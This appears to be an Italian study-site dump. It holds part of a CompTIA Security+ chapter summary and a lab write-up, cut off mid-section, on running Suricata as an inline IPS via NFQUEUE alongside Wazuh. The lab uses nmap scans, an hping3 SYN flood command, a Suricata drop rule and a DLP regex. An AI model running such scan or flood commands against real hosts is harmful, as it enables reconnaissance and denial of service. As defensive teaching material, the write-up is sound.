Non \u0026quot;applicare patch\u0026quot; — non e' possibile.\nTip Exam tip: i sei vincoli da ricordare — compute, crypto, power, deployment, cost, inability to patch. Il trade-off cost vs security e' la causa principale delle vulnerabilita' IoT: i vendor tagliano la sicurezza per abbassare il prezzo.\nExam Topic Review — Gibson Cap 5 # Virtualizzazione # La virtualizzazione permette a piu' server di girare su un singolo host fisico. Supporta anche i virtual desktop. Un VDI (Virtual Desktop Infrastructure) ospita il desktop OS dell'utente su un server. Thin client e dispositivi mobili si connettono al server e accedono al VDI. La container virtualization esegue servizi o applicazioni in container isolati. I container usano il kernel del host. Gli attacchi VM escape permettono a un attaccante di accedere all'host da una VM guest. Protezione principale: mantenere host e guest aggiornati con le patch correnti. Il VM sprawl si verifica quando il personale non gestisce le VM — proliferazione incontrollata. Secure Systems # Gli endpoint sono dispositivi come server, desktop, laptop, mobile, IoT. EDR fornisce monitoraggio continuo. XDR include altri tipi di dispositivi e sistemi. Hardening: rendere un OS o applicazione piu' sicuro rispetto all'installazione di default. Le pratiche di configuration management aiutano a deployare sistemi con configurazioni sicure. Una master image e' un punto di partenza sicuro per i sistemi, creata con template o baseline. Gli integrity measurement tools rilevano quando un sistema devia dalla baseline. Il patch management garantisce che OS, applicazioni e firmware siano aggiornati. Il change management definisce il processo per le modifiche e riduce i downtime indesiderati. Un application allow list identifica il software autorizzato e blocca tutto il resto. Un application block list blocca il software non autorizzato. FDE (Full Disk Encryption) cifra un intero disco. Un SED (Self-Encrypting Drive) ha i circuiti di cifratura integrati nel drive. Un TPM e' un chip incluso in molti desktop e laptop: supporta FDE, secure boot e remote attestation. Ha una chiave di cifratura burned in — hardware root of trust. Un HSM e' un dispositivo removibile o esterno per la cifratura. Genera e conserva chiavi RSA. Un microSD HSM e' un chip microSD con un dispositivo HSM installato. Il metodo principale per proteggere la confidenzialita' dei dati e' la cifratura combinata con strong access controls. Puoi cifrare colonne singole, database, file, dischi interi, media removibili. Le tecnologie DLP prevengono la perdita di dati — possono bloccare trasferimenti su USB e analizzare email in uscita. La data exfiltration e' il trasferimento non autorizzato di dati fuori dall'organizzazione. Cloud Concepts # SaaS: applicazioni web-based come la webmail. PaaS: OS easy-to-configure con on-demand computing — il vendor gestisce le patch. IaaS: risorse hardware via cloud. Un MSP e' un vendor terzo che fornisce qualsiasi servizio IT. Un MSSP si focalizza sui servizi di sicurezza. Un CASB e' uno strumento software tra la rete dell'organizzazione e il cloud provider — monitora il traffico e applica le security policy. Cloud pubblico: aperto a tutti. Private: per una singola organizzazione. Community: condiviso da organizzazioni con requisiti comuni. Hybrid: combinazione di due o piu' modelli. Multi-cloud: risorse da due o piu' CSP distinti. Le DLP cloud applicano le security policy ai dati nel cloud. Un next-generation SWG fornisce servizi proxy per il traffico client→internet: filtra URL e scansiona malware. Considerazioni cloud: availability, resilience, cost, responsiveness, scalability, segmentation. On-premises: centralizzato (poche sedi) o decentralizzato (molte sedi). Off-premises: usa CSP. IaC: gestire e fare il provisioning di data center con codice per definire VM e reti virtuali. SDN: usa tecnologie di virtualizzazione per instradare il traffico al posto di router e switch hardware. Mobile Devices # I dispositivi mobili includono smartphone e tablet. COPE: l'organizzazione possiede il device, il dipendente puo' usarlo per ragioni personali. BYOD: i dipendenti connettono i propri device alla rete aziendale. CYOD: lista di device accettabili — chi ne possiede uno dalla lista puo' connetterlo. I dispositivi mobili si connettono via cellular, Wi-Fi, Bluetooth. Tethering permette a un device di condividere la propria connessione internet. Wi-Fi Direct connette device senza router. Gli strumenti MDM garantiscono che i device soddisfino i requisiti minimi di sicurezza, monitorano i device, applicano le policy e bloccano l'accesso se i device non sono conformi. MDM: restrict application, segment/encrypt data, enforce strong authentication, screen lock, remote wipe. Containerization e' utile con il modello BYOD. Geolocation: GPS per identificare la posizione. Geofencing: confine virtuale geografico — abilita/disabilita accesso in base alla posizione. Geotagging: GPS aggiunge informazioni geografiche ai file. Third-party app store: store diverso da quello primario (App Store per Apple, Google Play per Android). Minor livello di scrutinio — rischio maggiore. Jailbreaking: rimuove tutte le restrizioni software su device Apple. Rooting: accesso root su Android. MDM blocca l'accesso alla rete per device jailbroken o rooted. Sideloading: copiare un'applicazione su Android invece di installarla dallo store. Embedded Systems # Un sistema embedded e' qualsiasi device con una funzione dedicata che usa un computer per svolgerla. La sfida principale: tenerli aggiornati. I device IoT interagiscono con il mondo fisico, comunicano via internet, Bluetooth o altre tecnologie wireless. Un SCADA controlla un ICS. L'ICS e' usato in grandi impianti come centrali elettriche o impianti di trattamento acque. SCADA e ICS stanno tipicamente in reti isolate senza accesso a internet, spesso protetti da NIPS. Un SoC e' un circuito integrato che include un sistema di computing completo. Un RTOS e' un OS che reagisce agli input entro un tempo specifico (deterministico). I vincoli principali degli embedded system: computing limitations, cryptographic limitations, power limitations, ease of deployment, cost, inability to patch. Trappole d'esame — Cap 5 # Allow list vs block list — trigger: \u0026quot;antivirus didn't detect it\u0026quot; Se il malware e' sconosciuto, il block list fallisce (non lo conosce, lo lascia passare). L'allow list blocca tutto cio' che non e' esplicitamente approvato — anche il malware sconosciuto non gira. Quando il problema e' un'app che l'AV non ha rilevato: allow list, non block list.\nIntegrity measurements vs block list — trigger: \u0026quot;master image\u0026quot; + \u0026quot;comparing\u0026quot; Confrontare lo stato attuale di un sistema con una master image e' un integrity measurement, non una blacklist. La blacklist blocca nomi noti. L'integrity check rileva deviazioni dalla baseline — qualcosa e' presente che non dovrebbe esserci, oppure qualcosa e' cambiato rispetto al punto di riferimento. Trigger words: \u0026quot;master image\u0026quot;, \u0026quot;baseline\u0026quot;, \u0026quot;comparing\u0026quot;, \u0026quot;discostato dalla configurazione originale\u0026quot;.\nControllo tecnico vs amministrativo — trigger: \u0026quot;policy gia' aggiornata\u0026quot; + insider threat Se la domanda dice che la policy e' gia' stata aggiornata e chiede cosa ha la BEST chance di ridurre il rischio, la risposta e' un controllo tecnico (es. configurare endpoint per bloccare USB), non un altro controllo amministrativo (training, comunicazione). Training su una policy esistente non impedisce tecnicamente il comportamento. Il controllo tecnico lo rende impossibile.\nMDM vs RFID per smartphone — trigger: \u0026quot;smartphones\u0026quot; + \u0026quot;unique identifier\u0026quot; + \u0026quot;asset inventory\u0026quot; MDM assegna identificatori digitali unici ai device (smartphone e tablet) al momento dell'enrollment. Usa quell'ID per gestire il device da remoto E per semplificare l'inventario degli asset. RFID funziona su server e laptop (tag fisico applicabile), ma la domanda stessa dice che non e' un metodo affidabile per smartphone e tablet — il testo lo esclude esplicitamente. VDI = desktop virtuale (non c'entra con l'inventario). GPS tagging = aggiunge dati geografici alle foto (non c'entra con l'identificazione del device). Per mobile asset inventory: MDM, non RFID fisico.\nMDM funzionalita' chiave da ricordare:\nRestrict applications (allow/block app install) Remote wipe (cancella il device da remoto) Enforce screen lock + strong authentication Segment and encrypt corporate data (containerization in BYOD) Track asset inventory via IMEI/UDID (non RFID) Block access per device jailbroken/rooted Scenario Reale # Virtualizzazione — VM escape e lateral movement # Sei analista in un SOC. Wazuh genera un alert: processo insolito su una VM guest che ospita un web server interno. L'host hypervisor sottostante gira su un server fisico condiviso con 12 altre VM, tra cui il SIEM stesso.\nIl rischio non e' solo la VM compromessa — e' che un attaccante possa sfruttare una vulnerabilita' dell'hypervisor per fare VM escape e muoversi sull'host. Da li', tutte le altre VM sono accessibili. La visibilita' sull'hypervisor e' critica quanto quella sui guest. Prima azione: isolare la VM, non spegnerla (snapshot per forensics), poi esaminare i log dell'host.\nVM Sprawl in questo stesso SOC: un analista trova 47 VM nel cluster, di cui 12 non hanno un owner registrato e 3 non vengono aggiornate da 8 mesi. Quelle 3 VM sono superficie di attacco non monitorata. Il remediation e': inventario, assegnazione owner, policy di decommissioning automatico.\nHardening endpoint — chain of trust violata # Un alert EDR segnala che un laptop ha caricato un bootloader non firmato. Secure Boot era disabilitato manualmente. Wazuh rileva la modifica al TPM PCR (Platform Configuration Register) — il valore e' cambiato rispetto alla baseline.\nScenario reale: un dipendente ha installato un dual boot con una distro Linux non supportata e ha disabilitato Secure Boot dal BIOS per farlo funzionare. L'azione corretta e' re-abilitare Secure Boot, revocare il certificato del bootloader non firmato con mokutil, e aprire un ticket change management perche' la modifica al BIOS non e' stata approvata.\nIl TPM ha registrato tutto: i PCR values al boot successivo non corrispondono piu' alla baseline — indicatore chiaro di modifica non autorizzata alla catena di boot.\nProtezione dati — DLP e data exfiltration # Un alert DLP viene generato: un file Excel con 3.400 righe e pattern che corrispondono a numeri di carta di credito (regex \\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}) e' stato allegato a un'email in uscita verso un dominio Gmail personale.\nIl DLP intercetta l'email prima che esca dal gateway. L'analista esamina: il mittente e' un dipendente in preavviso di dimissioni da 2 settimane. Il file contiene i dati dei clienti — PCI DSS violation potenziale. Azioni: blocco immediato, notifica legal, preservazione delle prove (email, log DLP, accessi al file negli ultimi 30 giorni).\nStesso scenario senza DLP: il file esce, non sai nulla finche' i clienti non segnalano frodi sulle carte.\nCloud — CASB e shadow IT # Wazuh + CASB integration: alert su trasferimento di 2.3 GB da un bucket S3 aziendale verso Dropbox personale di un utente autenticato. Il CASB opera inline tra la rete aziendale e il cloud provider, intercetta la richiesta e la blocca.\nL'analisi mostra che l'utente ha utilizzato le proprie credenziali AWS per copiare i dati — le credenziali erano corrette, ma la policy CASB vieta il trasferimento verso storage personale. Il shared responsibility model in questo scenario: AWS garantisce che il bucket e' accessibile solo a chi ha le credenziali (loro responsabilita') — ma la policy che impedisce l'exfiltration e' responsabilita' del cliente, implementata tramite CASB.\nShadow IT nella stessa azienda: 40 dipendenti usano un'app SaaS non approvata per condividere documenti interni. Il CASB rileva il traffico verso il dominio non in whitelist e genera un report. Senza CASB, l'azienda non sa che quei documenti stanno su server di un vendor che non ha firmato il DPA (Data Processing Agreement).\nMobile — BYOD jailbroken e MDM enforcement # Alert MDM: un device BYOD si connette alla VPN aziendale con un iPhone jailbroken. Il MDM rileva il jailbreak dalla presenza di Cydia e da system calls anomale. Policy: device jailbroken = accesso bloccato automaticamente, zero trust.\nL'utente protesta: \u0026quot;e' il mio telefono\u0026quot;. La risposta legale e operativa: il BYOD agreement firmato all'onboarding specifica che il device deve soddisfare i requisiti di sicurezza aziendali per accedere alle risorse corporate. Jailbreak = requisiti non soddisfatti = accesso revocato. Il device personale rimane suo, ma non accede piu' alla rete aziendale.\nScenario COPE nella stessa azienda: l'azienda possiede il device, puo' fare remote wipe in qualsiasi momento, incluso quando il dipendente lascia l'azienda. Vantaggio operativo: nessuna negoziazione legale sull'ownership dei dati.\nICS/SCADA — traffico anomalo verso VLAN isolata # NIPS alert: pacchetti TCP sulla porta 502 (Modbus) rilevati su un segmento di rete che non dovrebbe avere connettivita' con la VLAN SCADA. Qualcuno (o qualcosa) sta cercando di comunicare con i PLC dell'impianto idrico.\nAzioni immediate: isolare il segmento, escalare a OT security team, non modificare i sistemi SCADA senza approvazione OT (disponibilita' prima di tutto — uno stop non autorizzato puo' essere piu' pericoloso dell'attacco stesso). Preservare i log di rete per forensics.\nContesto: il Colonial Pipeline 2021 e' partito da credenziali VPN compromesse — non dall'OT direttamente. Ma l'impatto sull'OT (pipeline ferma per 6 giorni) e' stato reale. Stuxnet ha usato USB e vulnerabilita' Windows per raggiungere i PLC Siemens attraverso una rete fisicamente isolata. L'air-gap da solo non basta se ci sono vettori fisici (USB, laptop di manutenzione).\nLab — Cap 5 # lab-iac-terraform-docker — IaC con Terraform e Docker lab-vtpm-secure-boot-uefi — vTPM e Secure Boot su UTM lab-dlp-python-wazuh — DLP con Python e Wazuh Risorse # Gibson, CompTIA Security+ Get Certified Get Ahead SY0-701 — Cap 5 Professor Messer, SY0-701 Video Course — https://www.professormesser.com/ Cloud Infrastructures Other Infrastructure Concepts Hardening Targets Virtualization Vulnerabilities Encryption Technologies Securing Wireless and Mobile Collegato a # cap-04-securing-your-network — capitolo precedente cap-06 — capitolo successivo cloud-security — elasticity, scalability, cloud deployment models indice-gibson-messer-burning-Ice — indice completo del libro ","date":"29 maggio 2026","externalUrl":null,"permalink":"/dump/certificazioni/security-plus/libro/cap-05-securing-hosts-and-data/","section":"Dump","summary":"Sette superfici di attacco in un capitolo: virtualizzazione (VM Escape, VM Sprawl, container), hardening endpoint (TPM, HSM, UEFI Secure Boot, patch, baseline), protezione dati (at rest/transit/in use, DLP, FDE, database encryption), cloud (SaaS/PaaS/IaaS shared responsibility, CASB, SWG, IaC, SDN, edge/fog), mobile (BYOD/COPE/CYOD, MDM, jailbreak, sideloading), IoT e sistemi embedded (SoC, RTOS, vincoli), ICS/SCADA (CIA invertita, air-gap, Stuxnet). Cap 5 Gibson SY0-701.","title":"Cap 05 - Securing Hosts and Data","type":"dump"},{"content":"","date":"29 maggio 2026","externalUrl":null,"permalink":"/tags/cloud-security/","section":"Tags","summary":"","title":"Cloud-Security","type":"tags"},{"content":"","date":"29 maggio 2026","externalUrl":null,"permalink":"/tags/difesa/","section":"Tags","summary":"","title":"Difesa","type":"tags"},{"content":"","date":"29 maggio 2026","externalUrl":null,"permalink":"/tags/difficile/","section":"Tags","summary":"","title":"Difficile","type":"tags"},{"content":" TL;DR IDS (af-packet): copia del traffico → Suricata vede tutto, non può bloccare niente → [**] in fast.log IPS (nfqueue): traffico originale trattenuto → il kernel aspetta il verdetto → [Drop] in fast.log iptables -I INPUT -j NFQUEUE --queue-num 0 è la singola regola che trasforma il sistema fail-open: no = fail-closed: se Suricata muore, tutto il traffico viene droppato Il Docker bridge (br-XXXX) bypassa NFQUEUE - la SYN-ACK di ritorno viene bloccata e Wazuh si disconnette La persistenza al reboot richiede un systemd service dedicato (non iptables-persistent, che rimuove UFW) ▶ $ history suricata -T -c /etc/suricata/suricata.yaml -v suricata-update iptables -I INPUT 1 -j NFQUEUE --queue-num 0 iptables -L INPUT -n -v --line-numbers nmap --min-rate 1000 -p 1-1000 192.168.64.3 hping3 -S --flood 192.168.64.3 cat /proc/net/tcp Voglio vedere cosa succede quando Suricata non si limita a guardare il traffico, ma lo blocca davvero.\nHo già Suricata 7.0.3 installato in modalità IDS - riceve una copia di ogni pacchetto, analizza, logga. Ma il traffico passa lo stesso. Un attaccante che fa port scan lo vedo in fast.log, ma non posso farci niente.\nOggi cambia.\nIl setup # Mac (192.168.64.1) → gateway / management Ubuntu (192.168.64.3) → defender: Suricata + Wazuh in Docker Kali (192.168.64.200) → attaccante Ubuntu ha già Suricata 7.0.3 e Wazuh 4.14.5 in Docker (tre container: manager, indexer, dashboard). Wazuh legge l'eve.json di Suricata in tempo reale.\nIDS vs NIDS: prima di toccare la configurazione # Ho già Wazuh con il suo agent (wazuh-agent.service) che monitora l'host. Che senso ha aggiungere Suricata?\nLa distinzione è fondamentale per Security+ e per capire cosa stai costruendo:\n┌─────────────────────────────────────────────────────────────┐ │ HIDS │ │ (Host-based Intrusion Detection) │ │ │ │ Wazuh agent gira DENTRO il sistema operativo │ │ Legge: auth.log, /etc/passwd, modifiche ai file │ │ Vede: \u0026#34;qualcuno ha aperto questo file alle 03:00\u0026#34; │ │ │ └─────────────────────────────────────────────────────────────┘ ┌─────────────────────────────────────────────────────────────┐ │ NIDS │ │ (Network-based Intrusion Detection) │ │ │ │ Suricata gira DAVANTI al sistema operativo │ │ Legge: pacchetti di rete grezzi sull\u0026#39;interfaccia │ │ Vede: \u0026#34;qualcuno sta mandando 1000 SYN al secondo\u0026#34; │ │ │ └─────────────────────────────────────────────────────────────┘ Non si sostituiscono. Si completano. Un port scan non lascia traccia in auth.log. Una modifica a /etc/passwd non è visibile nei pacchetti di rete. Sono layer diversi dello stesso problema.\nIDS vs IPS: la distinzione che conta per l'esame # IDS = Intrusion Detection System → rileva, non blocca IPS = Intrusion Prevention System → rileva E blocca Non sono prodotti diversi. È la stessa tecnologia - Suricata può fare entrambi - con una differenza di posizionamento.\nL'analogia che funziona meglio: una telecamera di sorveglianza vs un tornello.\nLa telecamera (IDS) vede tutto. Registra tutto. Manda alert al centro di controllo. Ma il ladro attraversa l'ingresso lo stesso - la telecamera non può fermarlo fisicamente. L'analisi avviene dopo.\nIl tornello (IPS) è nel percorso. Non puoi passare senza che lui decida. Se non hai il badge giusto, non passi. La decisione avviene prima che tu entri.\ngraph LR subgraph IDS[\"IDS - Suricata af-packet\"] direction TB P1[Pacchetto entra] --\u003e K1[Kernel lo accetta] K1 --\u003e APP1[Applicazione lo riceve] P1 -.-\u003e|copia| S1[Suricata analizza] S1 --\u003e L1[fast.log: alert ✅] end subgraph IPS[\"IPS - Suricata nfqueue\"] direction TB P2[Pacchetto entra] --\u003e NF[NFQUEUE: kernel lo trattiene] NF --\u003e S2[Suricata analizza] S2 --\u003e|ACCEPT| APP2[Applicazione lo riceve] S2 --\u003e|DROP| TRASH[Scartato ❌] S2 --\u003e L2[fast.log: Drop ✅] end style IDS fill:none,stroke:none style IPS fill:none,stroke:none La differenza visibile: in fast.log, IDS produce [**], IPS produce [Drop]. In nmap, IDS mostra porte open/closed, IPS mostra porte filtered.\nFase 1: baseline IDS # Suricata gira già in modalità af-packet. Verifico:\nsudo systemctl status suricata grep \u0026#34;af-packet\u0026#34; /etc/suricata/suricata.yaml Lancio nmap da Kali:\nsudo nmap -sS 192.168.64.3 Su Ubuntu:\nsudo tail -f /var/log/suricata/fast.log 05/28/2026 [**] [1:2010936:3] ET SCAN Nmap -sS window 1024 [**] ↑ [**] = alert, non drop. Il traffico è passato. nmap su Kali vede le porte normalmente. Questo è il baseline: Suricata vede, non agisce.\nIl meccanismo NFQUEUE: il kernel aspetta # La differenza tecnica tra af-packet e nfqueue è nel punto di intercettazione.\naf-packet (IDS): [rete] ──► [kernel] ──► [applicazione] │ └── copia ──► [Suricata] (fuori dal percorso) nfqueue (IPS): [rete] ──► [kernel] ──► [NFQUEUE] ──► [Suricata] │ │ │ ACCEPT │ DROP │ │ └──────────────┘ │ [applicazione] oppure [scartato] Con NFQUEUE, il kernel trattiene ogni pacchetto in una coda numerata (--queue-num 0). Suricata legge dalla coda, analizza, e manda un verdetto: NF_ACCEPT o NF_DROP. Il kernel esegue.\nFinché Suricata non risponde, il pacchetto non si muove.\nÈ come la dogana. Non è una telecamera che fotografa quello che entra - è un funzionario che trattiene il pacco, lo apre, decide, e solo allora lo consegna o lo confisca.\nLa configurazione: primo errore # Modifico /etc/suricata/suricata.yaml con vim per passare a nfqueue.\nCommento la sezione af-packet e abilito nfq:\nnfq: mode: accept repeat-mark: 1 repeat-mask: 1 fail-open: no Una nota su fail-open: no - ci torno dopo. Per ora: questa scelta ha conseguenze importanti.\nRiavvio Suricata:\nMay 28 15:44:50 suricata: \u0026lt;Error\u0026gt; eth0: No such device L'interfaccia si chiama eth0 nel yaml di default. Su Ubuntu ARM su UTM si chiama enp0s1 - il naming legacy ethX è stato sostituito da naming predittivo basato su posizione del bus. Lo verifico:\nip link show # 2: enp0s1: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; Apro il yaml con vim, cerco eth0, correggo. Niente sed su file di configurazione complessi, meglio vedere il contesto prima di modificare.\nsudo systemctl restart suricata sudo systemctl status suricata Questa volta parte.\nZero regole # sudo tail -20 /var/log/suricata/suricata.log # [WARN] - No rules loaded! Suricata gira ma non ha regole. Senza regole drop, ogni pacchetto riceve ACCEPT di default - l'IPS è inline ma non blocca niente.\nsuricata-update scarica l'Emerging Threats Open ruleset:\nsudo suricata-update # Loaded 50241 rules 50.241 regole. Adesso Suricata ha qualcosa da fare.\nfast.log ed eve.json # Suricata scrive in due file distinti, entrambi in /var/log/suricata/. Esistono per scopi diversi e si usano in momenti diversi.\n/var/log/suricata/fast.log - formato testuale, leggibile a occhio, pensato per il monitoring diretto in terminale:\nsudo tail -f /var/log/suricata/fast.log [**] [1:2010936:3] ET SCAN Nmap -sS window 1024 ← IDS: alert [Drop] [1:9000002:1] IPS Aggressive Port Scan ← IPS: blocco Utile quando sei davanti al terminale e vuoi vedere gli alert in tempo reale. Non è strutturato, non è parsabile automaticamente.\n/var/log/suricata/eve.json - formato JSON strutturato, una riga per evento, progettato per essere letto da SIEM e strumenti di analisi:\nsudo tail -f /var/log/suricata/eve.json | python3 -m json.tool { \u0026#34;timestamp\u0026#34;: \u0026#34;2026-05-29T07:29:02\u0026#34;, \u0026#34;event_type\u0026#34;: \u0026#34;alert\u0026#34;, \u0026#34;src_ip\u0026#34;: \u0026#34;192.168.64.200\u0026#34;, \u0026#34;dest_ip\u0026#34;: \u0026#34;192.168.64.3\u0026#34;, \u0026#34;alert\u0026#34;: { \u0026#34;action\u0026#34;: \u0026#34;blocked\u0026#34;, \u0026#34;signature\u0026#34;: \u0026#34;IPS Aggressive Port Scan Drop\u0026#34;, \u0026#34;severity\u0026#34;: 3 } } EVE sta per Extensible Event Format, il formato JSON standard di Suricata per l'output strutturato. \u0026quot;Extensible\u0026quot; perché ogni tipo di evento (alert, flow, DNS, TLS, HTTP) ha i suoi campi aggiuntivi nello stesso formato base.\nWazuh non legge fast.log. Legge eve.json. Il Wazuh agent ha una voce localfile in ossec.conf che punta a quel file, lo legge riga per riga, e manda ogni evento JSON al manager in tempo reale. Il manager lo decodifica e applica le sue regole di correlazione.\nflowchart LR S[Suricata] --\u003e F[fast.log\\ntestuale] S --\u003e E[eve.json\\nJSON strutturato] E --\u003e WA[Wazuh Agent] WA --\u003e WM[Wazuh Manager] WM --\u003e WD[Dashboard] F --\u003e OP[Operatore\\nmonitoraggio diretto] In IDS, eve.json mostra \u0026quot;action\u0026quot;: \u0026quot;allowed\u0026quot;. In IPS, mostra \u0026quot;action\u0026quot;: \u0026quot;blocked\u0026quot;. Questa è la differenza che appare nel Wazuh dashboard.\nIl servizio systemd: due trappole # Suricata in modalità nfqueue si avvia con -q 0 - il numero della coda netfilter. Il servizio systemd di default usa --pcap per af-packet.\nCreo l'override:\nsudo mkdir -p /etc/systemd/system/suricata.service.d/ sudo tee /etc/systemd/system/suricata.service.d/override.conf \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; [Service] Type=simple ExecStart= ExecStart=/usr/bin/suricata -c /etc/suricata/suricata.yaml -q 0 --pidfile /run/suricata.pid EOF Trappola 1: ExecStart= vuoto prima del nuovo valore. In systemd, per sovrascrivere (non aggiungere) un ExecStart esistente, bisogna prima svuotarlo. Senza quella riga vuota, il secondo ExecStart si accumula al precedente.\nTrappola 2: Type=simple invece di Type=notify. Suricata in nfqueue non manda il segnale sd_notify. Con Type=notify, systemd aspetta quel segnale per 90 secondi poi dichiara il servizio failed - anche se Suricata sta girando correttamente. Type=simple considera il processo attivo appena parte.\nLa regola iptables # sudo iptables -I INPUT -j NFQUEUE --queue-num 0 Questa singola riga trasforma Ubuntu da server passivo a IPS inline. Tutto il traffico INPUT passa attraverso Suricata prima di essere consegnato.\nINPUT è la catena iptables che gestisce i pacchetti in arrivo all'host - quelli destinati a questo sistema. iptables ha tre catene principali: INPUT (arrivo), OUTPUT (partenza dall'host), FORWARD (transito verso altri host). Aggiungendo NFQUEUE a INPUT, ogni pacchetto che arriva a Ubuntu - da Kali, dal Mac, da internet - viene fermato e consegnato a Suricata prima che il kernel lo passi all'applicazione di destinazione.\nsudo iptables -L INPUT -n --line-numbers # 1 NFQUEUE * 0.0.0.0/0 0.0.0.0/0 NFQUEUE num 0 La regola custom: drop invece di alert # Le regole ET Open generano alert ma non droppano. Creo /var/lib/suricata/rules/local.rules:\ndrop tcp any any -\u0026gt; $HOME_NET any ( msg:\u0026#34;IPS Aggressive Port Scan Drop\u0026#34;; detection_filter:track by_src, count 20, seconds 1; sid:9000002; rev:1; classtype:network-scan; ) La logica della regola:\ndrop → NF_DROP (non NF_ACCEPT) tcp → solo TCP (non ICMP, non UDP) any any → qualsiasi sorgente e porta -\u0026gt; $HOME_NET any → verso la rete protetta ($HOME_NET: vedi sotto) $HOME_NET è una variabile Suricata definita in /etc/suricata/suricata.yaml, sezione vars → address-groups. Di default include la rete locale - nel lab 192.168.64.0/24. \u0026quot;Rete protetta\u0026quot; significa il segmento che stiamo difendendo, quello dove girano i nostri servizi. Usare $HOME_NET invece di un IP fisso rende la regola portabile: funziona senza modifiche su qualsiasi deployment dove il yaml è configurato correttamente.\ndetection_filter → attivazione condizionale: track by_src → conta per IP sorgente (l\u0026#39;attaccante) count 20 → dopo 20 pacchetti seconds 1 → in un secondo track by_src e non by_dst: voglio tracciare il comportamento dell'attaccante, non del bersaglio. Non mi interessa quale porta colpisce - mi interessa quanti SYN manda.\nUna regola con detection_filter non si attiva sul primo pacchetto. Si attiva al pacchetto 21. I primi 20 passano. Questo è intenzionale: un accesso legittimo non supera quella soglia. Un nmap --min-rate 1000 la supera in meno di 20 millisecondi.\nNota: la prima versione aveva anche flags:S per matchare solo i SYN. In combinazione con detection_filter, non funzionava - Suricata contava solo i SYN puri, ma nmap manda anche ACK, RST, pacchetti ibridi. Rimosso flags:S, il blocco ha iniziato a funzionare.\nIl primo blocco # Da Kali:\nsudo nmap --min-rate 1000 -p 1-1000 192.168.64.3 Su Ubuntu, tail -f /var/log/suricata/fast.log:\n[Drop] [**] [1:9000002:1] IPS Aggressive Port Scan Drop {TCP} 192.168.64.200:62851 -\u0026gt; 192.168.64.3:843 [Drop] [**] [1:9000002:1] IPS Aggressive Port Scan Drop {TCP} 192.168.64.200:62851 -\u0026gt; 192.168.64.3:907 Su Kali, nmap:\nPORT STATE SERVICE 22/tcp filtered ssh 80/tcp filtered http ... 999 filtered ports IDS → porta appare \u0026#34;open\u0026#34; o \u0026#34;closed\u0026#34; (il SYN arriva, il sistema risponde con SYN-ACK o RST) IPS → porta appare \u0026#34;filtered\u0026#34; (il SYN non arriva mai, nmap non riceve risposta, aspetta il timeout) filtered è la firma di un firewall o IPS: nmap non riceve né risposta né RST perché il pacchetto viene scartato nel percorso, prima che il sistema operativo lo veda.\nWazuh smette di rispondere # Con NFQUEUE attivo, Wazuh si disconnette. Il Wazuh agent non riesce più a raggiungere il manager Docker.\nPer capire il problema, devo capire il percorso della connessione.\nwazuh-agent (host) │ │ connette a 127.0.0.1:1514 ▼ docker-proxy (host, ascolta su 0.0.0.0:1514) │ │ apre nuova connessione verso container ▼ 172.18.0.2:1514 (container wazuh-manager) │ │ SYN-ACK di risposta torna a 172.18.0.1 (host) ▼ INPUT chain su br-46d49de3057f → NFQUEUE → Suricata docker-proxy è un processo che Docker lancia automaticamente per ogni porta esposta (ports: nel compose). Ascolta sull'host (0.0.0.0:1514) e, quando arriva una connessione, apre una nuova connessione separata verso il container. Non è un semplice NAT - sono due socket distinti. Il Wazuh agent parla con il docker-proxy, non direttamente con il container.\nIl loopback (127.0.0.1) è accettato prima di NFQUEUE - quello funziona. Ma il docker-proxy poi apre una nuova connessione verso il container attraverso il bridge Docker (br-46d49de3057f). La SYN-ACK di risposta arriva all'host su quell'interfaccia, non sul loopback, e finisce nel NFQUEUE.\nSuricata vede la SYN-ACK ma non ha mai visto il SYN originale (che è andato su OUTPUT, non INPUT). Senza traccia del flow, il timer scade.\nLeggere /proc/net/tcp: little-endian e big-endian # Per diagnosticarlo, leggo direttamente la tabella TCP del kernel nel container.\nPrima devo sapere come cercare: 1514 in esadecimale è 05EA.\n1514 ÷ 16 = 94 resto 10 (A) 94 ÷ 16 = 5 resto 14 (E) 5 ÷ 16 = 0 resto 5 → 0x05EA docker exec single-node-wazuh.manager-1 \\ bash -c \u0026#34;grep -i \u0026#39;05EA\u0026#39; /proc/net/tcp /proc/net/tcp6 2\u0026gt;/dev/null\u0026#34; Output:\n/proc/net/tcp: 0: 00000000:05EA 00000000:0000 0A ... → LISTEN /proc/net/tcp: 8: 020012AC:05EA 010012AC:EE02 03 ... → SYN_RECV /proc/net/tcp: 16: 020012AC:05EA 010012AC:C69A 03 ... → SYN_RECV Come si legge /proc/net/tcp:\nIl formato è ip_hex:port_hex. Gli IP sono in little-endian - i byte sono in ordine inverso rispetto a come li leggiamo normalmente.\n020012AC → leggo i byte da destra a sinistra: AC = 172 12 = 18 00 = 0 02 = 2 → 172.18.0.2 (IP del container) 010012AC → AC = 172 12 = 18 00 = 0 01 = 1 → 172.18.0.1 (Docker gateway = host) Le porte invece sono in big-endian (network byte order, come ci si aspetta): 05EA = 0×256 + 5×256 + 14×16 + 10 = 1514 - si legge normalmente da sinistra.\nQuesta differenza non è casuale. Gli IP vengono salvati così com'è in memoria su architetture x86/ARM (little-endian). Le porte seguono il network byte order perché sono usate direttamente nelle intestazioni di rete. Chi conosce Bitcoin riconosce la convenzione: anche nei raw transaction Bitcoin gli interi multi-byte sono in little-endian, mentre i campi che seguono standard di rete sono big-endian. Il kernel Linux usa la stessa logica.\nGli stati TCP:\n0A (hex) = 10 (dec) = TCP_LISTEN → in ascolto, aspetta connessioni 01 (hex) = 1 (dec) = ESTABLISHED → connessione attiva 03 (hex) = 3 (dec) = TCP_SYN_RECV → SYN ricevuto, SYN-ACK mandato, aspetta ACK Il three-way handshake:\nsequenceDiagram participant C as docker-proxy (host) participant S as container :1514 participant NF as NFQUEUE (INPUT chain) C-\u003e\u003eS: SYN → (OUTPUT chain, non NFQUEUE) S-\u003e\u003eNF: SYN-ACK → (INPUT su br-46d49de3057f) Note over NF: Suricata: non conosco questo flow NF--\u003e\u003eNF: timeout / stallo Note over S: stato: SYN_RECV (stuck) Note over C: nessun ACK → connessione non si apre Due connessioni bloccate in SYN_RECV - il container ha risposto con SYN-ACK, il docker-proxy non lo ha mai ricevuto. Il three-way handshake non si chiude.\nIl fix: accettare il bridge Docker prima di NFQUEUE # sudo iptables -I INPUT 2 -i br-46d49de3057f -j ACCEPT Il SYN-ACK del container ora viene accettato prima di raggiungere NFQUEUE. Il three-way handshake si completa. Wazuh si riconnette.\nIl bridge che cambia nome ad ogni restart # 